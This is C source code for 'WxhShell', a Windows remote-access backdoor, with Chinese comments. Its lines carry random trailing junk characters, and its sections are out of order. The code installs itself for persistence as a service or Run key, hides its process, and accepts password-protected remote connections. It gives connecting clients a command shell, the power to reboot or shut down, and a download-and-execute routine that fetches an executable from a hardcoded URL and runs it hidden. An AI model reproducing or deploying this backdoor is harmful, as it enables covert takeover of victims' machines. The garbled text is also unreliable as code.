    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -&#H@Gyw  
    if(Boot(SHUTDOWN)) iNTw;ov  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l_G&#sQ0  
    else { 7VP[U,  
    closesocket(wsh); u}Q@u!~e9  
    ExitThread(0); Cq7EdK;x  
    } 'qosw:P  
    break; n3-2;xuNKE  
    } ;2m<#~@0  
  // 获取shell xK`.^W  
  case 's': { PV2cZ/  
    CmdShell(wsh); `_IgH  
    closesocket(wsh); iU5Aj:U3  
    ExitThread(0); 29 +p|n  
    break; Wr\rruH6  
  } hM!D6: t  
  // 退出 [l+1zt0w0  
  case 'x': { EM_`` 0^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G<1awi  
    CloseIt(wsh); ^-CQ9r*  
    break; 4= VAJ  
    } Bn7~p+N  
  // 离开 [Z3B~c  
  case 'q': { o{EWNkmj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kvu0Av-7  
    closesocket(wsh); *wml 4lh  
    WSACleanup(); H3=U|wr|  
    exit(1); k+^-;=u 6<  
    break; }gE?ms4$  
        } wIW]uo/=  
  } * /S=9n0  
  } e1e2Wk  
J%?'Q{  
  // 提示信息 Z4\$h1tl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f IUz%YFn  
} )V!dmVQq{g  
  } .Dw^'p>  
*/B-%*#I.  
  return; C0\A  
} zt1Pu /e  
_kR,R"lh  
// shell模块句柄 LoHL}1BG-  
int CmdShell(SOCKET sock) r)jj]$0  
{ $u"t/_%  
STARTUPINFO si; w5I +5/I  
ZeroMemory(&si,sizeof(si)); Q3Sw W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ybr&z7# 2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; * i[^-  
PROCESS_INFORMATION ProcessInfo; nw3CI&Y`  
char cmdline[]="cmd"; ,B>Rc#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +zpmy3Q  
  return 0; V$Y5EX  
} :@6,|2b e=  
'-F }(9M  
// 自身启动模式 tA+ c  
int StartFromService(void) {1^9*  
{ ]KMOLe6(  
typedef struct ;;E "+.  
{ 56Q9RU(M  
  DWORD ExitStatus; }e/P|7&  
  DWORD PebBaseAddress; MtAD&+3$  
  DWORD AffinityMask; g->cgExj  
  DWORD BasePriority; * %p6+D-C  
  ULONG UniqueProcessId; =N-,.{`  
  ULONG InheritedFromUniqueProcessId; f Q.ea#xh^  
}   PROCESS_BASIC_INFORMATION; w, u`06  
[@@Ovv  
PROCNTQSIP NtQueryInformationProcess; 3AWNoXh  
n237%LH[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?@ ei_<A{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :F:<{]oG_  
Ws[[Me, =  
  HANDLE             hProcess; .S&S#}$/]  
  PROCESS_BASIC_INFORMATION pbi; %?lPS  
YX+Da"\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dKcHj<'E/  
  if(NULL == hInst ) return 0; hia_CuY#  
X*Mw0;+T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XJ;kyEx3=O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8phc ekh+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OiAi{ 71  
yi3@-  
  if (!NtQueryInformationProcess) return 0; WY%LeC!t  
vVF#]t b|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i]Or'L0c  
  if(!hProcess) return 0; #`5 M( o  
_s./^B_w!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SE+K"faKQ  
p8F5b8]*  
  CloseHandle(hProcess); vv,OBL~{  
9viQ<}K<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T`46\KkN  
if(hProcess==NULL) return 0; uY;-x~Z  
X%!#Ic]Q  
HMODULE hMod; k*\=IacX0  
char procName[255]; 5Bw  
unsigned long cbNeeded; 8cy#[{u`;  
V|vU17Cgy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y7)YJI  
%&9tn0B  
  CloseHandle(hProcess); xKz^J SF  
:g/HN9  
if(strstr(procName,"services")) return 1; // 以服务启动 OL*EY:]  
@"T_W(i;BI  
  return 0; // 注册表启动 KLlo^1.<  
} F(/^??<5  
NS "hdyA  
// 主模块 NL))!Pi  
int StartWxhshell(LPSTR lpCmdLine) u79.`,Ad&  
{ u2'xM0nQ  
  SOCKET wsl; pLL ^R  
BOOL val=TRUE; BvpGP  
  int port=0; `':$PUz,g  
  struct sockaddr_in door; =!r9;L,?  
BuI&kU,WY  
  if(wscfg.ws_autoins) Install(); E]6C1C&K  
:h1itn  
port=atoi(lpCmdLine); [Z0&`qz  
r: n^U#  
if(port<=0) port=wscfg.ws_port; d;|Pp;dc  
;5-Sn(G  
  WSADATA data; n@w$5y1@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D %~s  
+2`RvQN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    3+"z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gPY2Bnw;l  
  door.sin_family = AF_INET; mKynp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OUn,URI  
  door.sin_port = htons(port); ,6,#Lc  
{PGNPxUbe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E N%cjvE  
closesocket(wsl); -uN5 DJSW  
return 1; xlkEW&N&  
} HgE^#qD?  
;id0|x  
  if(listen(wsl,2) == INVALID_SOCKET) { CD%wi:C%|  
closesocket(wsl); Ab -uK|<  
return 1; #Zk6   
} I :%(nKBK  
  Wxhshell(wsl); PMjqcdBzm  
  WSACleanup(); TIlcdpwXf  
1Ah  
return 0; 8$-(%  
` :Am#"j]}  
} %7pT\8E5  
4&~1|B{Z  
// 以NT服务方式启动 #0"Fw$Pc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Hy0j*  
{ 0Z8K+,'!  
DWORD   status = 0; ,*8}TIS(s  
  DWORD   specificError = 0xfffffff; G/\t<>O8o  
|2AK~t|t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {e0cc1Up}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ([iMOE[D3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HlgF%\@a+U  
  serviceStatus.dwWin32ExitCode     = 0; X a#`VDh  
  serviceStatus.dwServiceSpecificExitCode = 0; z%(m:/N70  
  serviceStatus.dwCheckPoint       = 0; wqJ^tA!  
  serviceStatus.dwWaitHint       = 0; N^xnx<  
rq Dre`m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6:i{_YX(.S  
  if (hServiceStatusHandle==0) return; 5X4; (Qj  
Ly/"da  
status = GetLastError(); p]:5S_$  
  if (status!=NO_ERROR) ~~,\BhG?  
{  Zm!T4pL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -("sp  
    serviceStatus.dwCheckPoint       = 0; qk{2%,u$@{  
    serviceStatus.dwWaitHint       = 0; i]a 5cn  
    serviceStatus.dwWin32ExitCode     = status; ^C^FxIA&  
    serviceStatus.dwServiceSpecificExitCode = specificError; AK%`EsI^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9lNO ~8  
    return; g"c\ouSY  
  } xCz(qR  
f1y3l1/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C:xg M'~+  
  serviceStatus.dwCheckPoint       = 0; L,M=ogdb  
  serviceStatus.dwWaitHint       = 0; QI'ule  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wO/}4>\  
} v\PqhIy"  
cm@q{(r  
// 处理NT服务事件,比如:启动、停止 zBtlkBPu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xd@  -  
{ DKnjmZ:J|  
switch(fdwControl) 1p=^I'#  
{ b(+M/O>I  
case SERVICE_CONTROL_STOP: 5P-7"g ca  
  serviceStatus.dwWin32ExitCode = 0; -b"mx"'?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '!^5GSP3&  
  serviceStatus.dwCheckPoint   = 0; c1B <9_  
  serviceStatus.dwWaitHint     = 0; {z> fe }  
  { d,AEV_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s.`:9nj  
  } GcaLP*%>B  
  return; 5&Al  
case SERVICE_CONTROL_PAUSE: $_IvzbOh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8Yc'4v#}  
  break; &~)PB |  
case SERVICE_CONTROL_CONTINUE: rT7W_[&P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cl#PYB{1Y  
  break; 6U~AKq"+f  
case SERVICE_CONTROL_INTERROGATE: o~<Xc  
  break; Z> Jm  
}; CAg~K[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RQxL`7H  
} 1c8Nr&Jl  
|`vwykhezO  
// 标准应用程序主函数 '0q.zzv|_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3'tcEFkH  
{ -!i1xR (;h  
9MP_#M7  
// 获取操作系统版本 PJ}d-   
OsIsNt=GetOsVer(); VF[$hs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OBY^J1St  
%PA#x36  
  // 从命令行安装 &JMp)zaI[  
  if(strpbrk(lpCmdLine,"iI")) Install(); #C^)W/dP  
>}<1  
  // 下载执行文件 mD@*vq  
if(wscfg.ws_downexe) { h;" 9.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'kBg3E$y  
  WinExec(wscfg.ws_filenam,SW_HIDE); NzS(, F  
} N)yCGo  
]q^6az(Ud  
if(!OsIsNt) { kIl!n  
// 如果时win9x,隐藏进程并且设置为注册表启动 {BV0Y.O  
HideProc(); by}C;eN  
StartWxhshell(lpCmdLine); xf2|9Tqt  
} RZMR2fP%  
else 1N\/61+aA  
  if(StartFromService()) [}>!$::Y  
  // 以服务方式启动 b5i ehoA  
  StartServiceCtrlDispatcher(DispatchTable); )LC"rSNx%  
else _43'W{%  
  // 普通方式启动 T)c<tIr6  
  StartWxhshell(lpCmdLine); M'gGoH}B+q  
CghlyT  
return 0; +/+>:  
} ehTrjb3k  
I<+EXH%1,  
Gxhr0'  
@ T.+:U@S  
=========================================== {,NF'x4$  
HQkK8'\LP  
-v %n@8p  
'G>$W+lT^  
"ov270:  
Oa.84a  
" NH aY&\  
X 0vcBHh  
#include <stdio.h> { )g $  
#include <string.h> <uG6!P  
#include <windows.h> Xb<>AzEM  
#include <winsock2.h> qdnwaJ;&  
#include <winsvc.h> Lv&9s  
#include <urlmon.h> ]?G|:Kx$y%  
<N{wFvF  
#pragma comment (lib, "Ws2_32.lib") c_4K  
#pragma comment (lib, "urlmon.lib") emSky-{$u  
FUVp}>#U  
#define MAX_USER   100 // 最大客户端连接数 i 558&:  
#define BUF_SOCK   200 // sock buffer < k?pnBI_  
#define KEY_BUFF   255 // 输入 buffer 1*GL;W~ix*  
QHXA?nBX  
#define REBOOT     0   // 重启 a[_IG-l|i4  
#define SHUTDOWN   1   // 关机 uf^HDr r<L  
4mHk,Dd9,  
#define DEF_PORT   5000 // 监听端口 nIr:a|}[  
N7u|< 0[  
#define REG_LEN     16   // 注册表键长度 )+Y"4?z~  
#define SVC_LEN     80   // NT服务名长度 W3zYE3DZf  
B:Y F|k}T  
// 从dll定义API Vk> &  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?W>`skQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1xEFMHjy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u69UUkG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9=q&SG  
h/Yxm2  
// wxhshell配置信息 sW-0G$,|  
struct WSCFG { ",xTgB3?V  
  int ws_port;         // 监听端口 Aydpr_lp  
  char ws_passstr[REG_LEN]; // 口令 oJZxRm[g$t  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8_VGB0~3i  
  char ws_regname[REG_LEN]; // 注册表键名 ypgM&"eR  
  char ws_svcname[REG_LEN]; // 服务名 {O:{F?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fK6[ p&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 78\j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mW$Oi++'d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OxPl0-]t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H:|.e)$i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @j!(at4B  
le' Kp V  
}; 1eywnOjrj  
a>6D3n W  
// default Wxhshell configuration LZb<-vK"y  
struct WSCFG wscfg={DEF_PORT, HC} vO0X4  
    "xuhuanlingzhe", \%&A? D  
    1, }N} Js*  
    "Wxhshell", b}DC|?~M  
    "Wxhshell", :%z#s  
            "WxhShell Service", t7xJ$^p[|K  
    "Wrsky Windows CmdShell Service", 6J\ 2 =c`  
    "Please Input Your Password: ", q9dplEe5  
  1, Y=4 7se=h"  
  "http://www.wrsky.com/wxhshell.exe", HUMy\u84H  
  "Wxhshell.exe" Wsgp#W+  
    }; +;\w'dBi,  
|{Ex)hkw  
// 消息定义模块 a{ L&RRJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ",&QO 7_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U3C"o|   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ">G*hS  
char *msg_ws_ext="\n\rExit."; cxQAp  
char *msg_ws_end="\n\rQuit."; I eJI-lo  
char *msg_ws_boot="\n\rReboot..."; R:+'"dBge  
char *msg_ws_poff="\n\rShutdown..."; 8h0CG]  
char *msg_ws_down="\n\rSave to "; "-djA,`  
hsQDRx%H}  
char *msg_ws_err="\n\rErr!"; up+0-!AH  
char *msg_ws_ok="\n\rOK!"; =%<, ^2o  
PJ; WNo8  
char ExeFile[MAX_PATH]; bZ1*:k2  
int nUser = 0; 4b[bj").A  
HANDLE handles[MAX_USER]; P JATRJ1.  
int OsIsNt; zBl L98  
aoZ| @x  
SERVICE_STATUS       serviceStatus; p3Qls*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l;KrFJ6  
f] #\&"  
// 函数声明 ZM})l9_o"  
int Install(void); i%!<6K6UT  
int Uninstall(void); V]; i$  
int DownloadFile(char *sURL, SOCKET wsh); xh bN=L  
int Boot(int flag); zzhZ1;\  
void HideProc(void); -Uy)=]Zae  
int GetOsVer(void); NuPlrCy;  
int Wxhshell(SOCKET wsl); U+qyS|i  
void TalkWithClient(void *cs); jan}}7Dly  
int CmdShell(SOCKET sock); g=[OH  
int StartFromService(void); I]` RvT  
int StartWxhshell(LPSTR lpCmdLine); pHmqwB~|  
^7wqb'xg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4P[MkMoC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @]%eL  
Ij7P-5=<  
// 数据结构和表定义 ~9 .=t'  
SERVICE_TABLE_ENTRY DispatchTable[] = pDZewb&cA  
{ -'g> i  
{wscfg.ws_svcname, NTServiceMain}, uDie205  
{NULL, NULL} 3nG.ah  
}; L&DjNu`!9  
$/s"It  
// 自我安装 x)*Lu">  
int Install(void) ~w3u(X$m"  
{ b"A,q  
  char svExeFile[MAX_PATH]; QZ l#^-on  
  HKEY key; )`rD]0ua;  
  strcpy(svExeFile,ExeFile); q@~g.AMCB  
La )M  
// 如果是win9x系统,修改注册表设为自启动 '";#v.!  
if(!OsIsNt) { s-#EV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Ne#{*z)hO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }lIc{R@H  
  RegCloseKey(key); f-enF)z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0WC\u xT7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O3@DU#N&s  
  RegCloseKey(key); *rmC3'}s  
  return 0; ;:D-}t;  
    } R>O_2`c  
  } 3/`BK{  
} gSwV:hm  
else { i"}z9Ae~.  
VkFh(Br<{  
// 如果是NT以上系统,安装为系统服务 Ob/)f)!!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;&&<zWq3h  
if (schSCManager!=0) 4>=M"D hB  
{ D+3?p  
  SC_HANDLE schService = CreateService 7A\`  
  ( D_d>A+  
  schSCManager, :awkhx  
  wscfg.ws_svcname, K>DN6{hnV;  
  wscfg.ws_svcdisp, M YF ^zheD  
  SERVICE_ALL_ACCESS, =$J(]KPv!?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S/XU4i:aV  
  SERVICE_AUTO_START, =@Oo3*>  
  SERVICE_ERROR_NORMAL, ;stuTj@vH  
  svExeFile, :')[pO_FW*  
  NULL, oIE 1j?  
  NULL, @e)}#kN.  
  NULL, BuV71/Vb{Q  
  NULL, $Aw@xC^!  
  NULL ekhv.;N~  
  ); JJd qdX;  
  if (schService!=0) Q-w# !<L.  
  { \Osu1]Jn>  
  CloseServiceHandle(schService); ,,{;G'R|  
  CloseServiceHandle(schSCManager); ?$6H',u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rw'+2\  
  strcat(svExeFile,wscfg.ws_svcname); z ?\it(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lD,2])>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .rtA sbp.!  
  RegCloseKey(key); 8 ??-H0P  
  return 0; (  zo7h  
    } TN0KS]^A3  
  } ~</FF'Xz  
  CloseServiceHandle(schSCManager); Bz ;r<Kn  
} 5*%Gh&)  
} wmr?ANk  
ln82pQD2Y~  
return 1; {]Zan'{PCO  
} v1:.t  
Vu5?;|^:  
// 自我卸载 Ks%0!X?3q  
int Uninstall(void) =K`.$R  
{ G}pFy0W\S  
  HKEY key; W"Ip]LJ  
=npE?wK  
if(!OsIsNt) { z;qDl%AF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;MS.ag#  
  RegDeleteValue(key,wscfg.ws_regname); XGSFG ~d  
  RegCloseKey(key); +Y 7M7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cb;6yE)!Z  
  RegDeleteValue(key,wscfg.ws_regname); t*(bF[?  
  RegCloseKey(key); jaoZ}}V_$  
  return 0; { ptd OrN  
  } ~n]5iGz  
} cZh0\Dy U  
} 9z#8K zXg  
else { -8n1y[  
fUjo',<s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nONuw;K  
if (schSCManager!=0) Q VTL}AT2:  
{ Z Ts*Y,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >-MnB  
  if (schService!=0) ;\RV C 7  
  { g"P%sA/E+  
  if(DeleteService(schService)!=0) { G)7U &B  
  CloseServiceHandle(schService); &O' W+4FAc  
  CloseServiceHandle(schSCManager); ztO)~uL  
  return 0; D^[l~K  
  } JH.XZM&  
  CloseServiceHandle(schService); 9lYKG ^#D  
  } S8#0Vo$)a  
  CloseServiceHandle(schSCManager); d1D f`  
} <&E}db  
} A^OwT#  
oYu xkG  
return 1; 5T;LWS  
} T)zk2\u  
&nmBsl3Q.  
// 从指定url下载文件 xTAfV N  
int DownloadFile(char *sURL, SOCKET wsh) 1bV G%N  
{ p'h'Cz  
  HRESULT hr; ,%9XG077  
char seps[]= "/"; CPJ<A,V  
char *token; e/D{^*~S  
char *file; %L.S~dN6  
char myURL[MAX_PATH]; | 1B0  
char myFILE[MAX_PATH]; lO-DXbgql$  
~}_^$l8#-Q  
strcpy(myURL,sURL); (ks>F=vk*  
  token=strtok(myURL,seps); %],BgLhS.  
  while(token!=NULL) [5P-K{Ko  
  { gNZwD6GMe?  
    file=token; v<1@"9EH  
  token=strtok(NULL,seps); ;dzy 5o3  
  } HkD. W6A3  
XVs]Y'* x  
GetCurrentDirectory(MAX_PATH,myFILE); JT 7WZc)  
strcat(myFILE, "\\"); 31G:[;g  
strcat(myFILE, file); H(^Eh v>  
  send(wsh,myFILE,strlen(myFILE),0); ,Q"'q0hM=  
send(wsh,"...",3,0); {vD$odi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  %j&vV>2  
  if(hr==S_OK) j3sz"(  
return 0; ?AFb&  
else uc,>VzdB  
return 1; 2* g2UP  
WDw<kX6p  
} Y][12{I{  
n{QyqI  
// 系统电源模块 gvc@q`_]  
int Boot(int flag) H>+/k-n-  
{ 'dj3y/ k%  
  HANDLE hToken; T, #-: }  
  TOKEN_PRIVILEGES tkp; q[Ai^79  
:-x?g2MY  
  if(OsIsNt) { 5RLO}Vn]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ft>B% -;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Be{@ L  
    tkp.PrivilegeCount = 1; U.TZd"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g V]4R"/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EP38Ho=[  
if(flag==REBOOT) { [],[LkS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n~lB}  
  return 0; ;W{z"L;nX  
} }d5]N  
else { T.#_v# oM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n~0wq(8M  
  return 0; ^$oa`B^2JM  
} ^6Aa^|  
  } 3Y P! B=  
  else { \gP?uJ  
if(flag==REBOOT) { 2]fTDKh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $l ,U)  
  return 0; 7O)ATb#up  
} :awa  
else { C 9%bD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }zA|M9%E  
  return 0; lz=DGm  
} 2@(+l*.Q  
} ` ,T .  
U,b80%k:  
return 1; 1<9d[N*  
} z\v  
+Vg(2Xt  
// win9x进程隐藏模块 U$D:gZ  
void HideProc(void) k8E2?kbF  
{ 2\{/|\  
7'+`vt#E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qo9&e~Y<G  
  if ( hKernel != NULL ) =)y$&Ydj  
  { d)48m}[:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); , JH*l:7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e`+  
    FreeLibrary(hKernel); ->|eMV'd  
  } i.9}bw 9u@  
#p"F$@N   
return; T>| +cg  
} oItC;T  
[GyPwb-  
// 获取操作系统版本 heF'7ezv#  
int GetOsVer(void) o ^w^dgJ  
{ K{y`Sb~k  
  OSVERSIONINFO winfo; =2Ju)!%wr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  V13^SVM  
  GetVersionEx(&winfo); s,J\nbj0h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P,S!Z&!  
  return 1; |{M F o)  
  else SFWS<H(IN  
  return 0; 7<jr0)  
} [9EL[}  
2P57C;N8|  
// 客户端句柄模块 }`whg8 fZ  
int Wxhshell(SOCKET wsl) ,DKW_F|  
{ 6wiuNGZb  
  SOCKET wsh; I-s$U T[p  
  struct sockaddr_in client; k="w EZ;Q  
  DWORD myID; :@~3wD[y  
n\JSt}A  
  while(nUser<MAX_USER) w#(E+s~}  
{ 09Oe-Bg  
  int nSize=sizeof(client); R{4[.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^-# :T  
  if(wsh==INVALID_SOCKET) return 1; w2"]%WS%  
k:s86q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H_JT"~_2  
if(handles[nUser]==0) NnZ_x>R  
  closesocket(wsh); bB.nevb9p  
else #$t93EI  
  nUser++; uN9.U  _  
  } 78z/D|{"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K!jau|FS  
q[Y* .%~  
  return 0; +Y~,1ai 5^  
} b#e|#!Je  
i#lO{ ]  
// 关闭 socket QZ-6aq\sgp  
void CloseIt(SOCKET wsh) nRZ T~S4  
{ ctC! b{S"@  
closesocket(wsh); . =A|  
nUser--; JENq?$S  
ExitThread(0); ~i@Z4t j7  
} C"}]PW  
'UCF2 L  
// 客户端请求句柄 8-vNXvl  
void TalkWithClient(void *cs) M\9p-%"L  
{ Se5jxV  
[k +fkr]  
  SOCKET wsh=(SOCKET)cs; U}`HN*Q.q  
  char pwd[SVC_LEN]; Y6%O9b  
  char cmd[KEY_BUFF]; \h/aD1 &g  
char chr[1]; D #twS  
int i,j; 0Z[8d0  
5E|/n(  
  while (nUser < MAX_USER) { +Y^/0=6h  
~_L_un.R  
if(wscfg.ws_passstr) { Yg7C"3;Vt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q[F$6m%o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2:S 4M.j  
  //ZeroMemory(pwd,KEY_BUFF); xqzdXL}  
      i=0; 93N:?B9  
  while(i<SVC_LEN) { C@ z^{Z+  
j.rJfbE|X  
  // 设置超时 ?G!DYUK  
  fd_set FdRead; C}GOwvAL>  
  struct timeval TimeOut; #PRkqg+|  
  FD_ZERO(&FdRead); ,NaNih1  
  FD_SET(wsh,&FdRead); <yrl_vl{  
  TimeOut.tv_sec=8; ?g'? Ou  
  TimeOut.tv_usec=0; wN!5[N"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Go_~8w0<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S(*SUH  
pEE.%U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gg%OOvaj5  
  pwd=chr[0]; {o[ *S%Z"  
  if(chr[0]==0xd || chr[0]==0xa) { 4h~o>(Sq  
  pwd=0; h=~ TgTv  
  break; `H6kC$^Ofx  
  } ON=6w_  
  i++; /g!', r,  
    } EWg\\90  
oUBn:Ir@  
  // 如果是非法用户,关闭 socket LY^pmak  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jsG epi9  
} C_= WL(  
!7-dqw%l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5}4r'P$m:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ytnk^/Z1L  
dw!cDfT+  
while(1) { .5zqpm  
sc^TElic  
  ZeroMemory(cmd,KEY_BUFF); <k&Q"X:"  
&pD6Qq{  
      // 自动支持客户端 telnet标准   0ZXG{Gp9S  
  j=0; ]QS? fs Z  
  while(j<KEY_BUFF) { f6ad@2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s^b2H !~  
  cmd[j]=chr[0]; l(@UpV-  
  if(chr[0]==0xa || chr[0]==0xd) { $!x8XpR8s  
  cmd[j]=0; iC`K$LY4W  
  break; RAQi&?Ko  
  } G.,dP +i  
  j++; .ns1;8  
    } mRw &^7r  
&AI/;zru  
  // 下载文件 >?q()>l  
  if(strstr(cmd,"http://")) { dhW)<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nxP>IfSA  
  if(DownloadFile(cmd,wsh)) T,,,+gPx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mpBSd+ ;Z  
  else ~JsTHE$F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !52]'yub  
  } 5uu Zt0V\  
  else { %B$~yx3#  
|>(;gr/5(  
    switch(cmd[0]) {  `k/hC  
